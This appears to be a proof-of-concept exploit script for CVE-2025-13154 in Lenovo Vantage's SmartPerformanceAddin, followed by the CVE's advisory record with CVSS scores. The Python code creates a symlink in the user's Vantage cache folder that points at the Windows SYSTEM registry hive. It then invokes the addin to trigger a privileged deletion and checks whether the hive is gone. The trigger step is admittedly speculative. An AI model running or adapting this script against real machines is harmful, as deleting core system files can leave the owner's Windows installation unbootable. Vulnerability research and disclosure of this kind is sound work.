CVE-2025-13154

# CVE-2025-13154 PoC - Lenovo Vantage SmartPerformanceAddin Symlink Attack # This PoC demonstrates improper link following leading to arbitrary file deletion # Author: Security Research # Note: For authorized testing only import os import sys import time import shutil import subprocess from pathlib import Path def create_symlink_attack(): """ Create a symlink attack to delete arbitrary files with elevated privileges """ print("[*] CVE-2025-13154 Symlink Exploitation PoC") print("[*] Target: SmartPerformanceAddin for Lenovo Vantage") print("[*] Vulnerability: Improper Link Following - Arbitrary File Deletion") # Configuration attack_dir = Path(os.path.expanduser("~")) / "AppData" / "Local" / "Lenovo" / "Vantage" / "SmartPerformance" target_file = "C:\\Windows\\System32\\config\\SYSTEM" # Step 1: Create attack directory structure print("\n[Step 1] Creating malicious directory structure...") attack_dir.mkdir(parents=True, exist_ok=True) # Step 2: Create symlink to target file print("[Step 2] Creating symlink to target file...") symlink_path = attack_dir / "cache_temp.dat" try: # Remove if exists if symlink_path.exists() or symlink_path.is_symlink(): symlink_path.unlink() # Create symlink (requires admin privileges in some configurations) os.symlink(target_file, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target_file}") except OSError as e: print(f"[-] Failed to create symlink: {e}") print("[*] Note: Symlink creation may require special privileges or developer mode") return False # Step 3: Trigger vulnerability print("\n[Step 3] Triggering SmartPerformanceAddin vulnerability...") print("[*] The application will follow the symlink and delete the target file") # Attempt to trigger the vulnerable code path # In real attack, this would involve specific interactions with Lenovo Vantage trigger_paths = [ attack_dir / "SmartPerformanceAddin.exe", "C:\\Program Files\\Lenovo\\Vantage\\SmartPerformanceAddin.exe", "C:\\Program Files (x86)\\Lenovo\\Vantage\\SmartPerformanceAddin.exe" ] triggered = False for trigger_path in trigger_paths: if trigger_path.exists(): print(f"[*] Found SmartPerformanceAddin at: {trigger_path}") try: subprocess.run([str(trigger_path), "--clean-cache"], timeout=10) triggered = True except: pass if not triggered: print("[*] SmartPerformanceAddin not found in standard locations") print("[*] In real attack scenario, the vulnerability would be triggered during:") print(" - System optimization scans") print(" - Performance monitoring operations") print(" - Cache cleanup routines") # Step 4: Verify deletion print("\n[Step 4] Verifying target file status...") if os.path.exists(target_file): print(f"[-] Target file still exists: {target_file}") print("[*] Attack may have failed or target protection is active") else: print(f"[+] Target file deleted: {target_file}") print("[+] Attack successful - arbitrary file deletion achieved") # Cleanup print("\n[Cleanup] Removing attack artifacts...") if symlink_path.exists() or symlink_path.is_symlink(): symlink_path.unlink() return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-13154 - Lenovo Vantage Symlink Vulnerability") print("=" * 60) # Check privileges if os.name == 'nt': import ctypes try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() if is_admin: print("[+] Running with administrator privileges") else: print("[*] Note: Some operations may require administrator privileges") except: pass create_symlink_attack() print("\n[*] PoC execution completed") print("[*] For educational and authorized testing purposes only")

{"cve": {"id": "CVE-2025-13154", "sourceIdentifier": "[email protected]", "published": "2026-01-14T23:15:55.297", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper link following vulnerability was reported in the SmartPerformanceAddin for Lenovo Vantage that could allow an authenticated local user to perform an arbitrary file deletion with elevated privileges."}, {"lang": "es", "value": "Una vulnerabilidad de seguimiento de enlace indebido fue reportada en el SmartPerformanceAddin para Lenovo Vantage que podría permitir a un usuario local autenticado realizar una eliminación arbitraria de archivos con privilegios elevados."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-208293", "source": "[email protected]"}]}}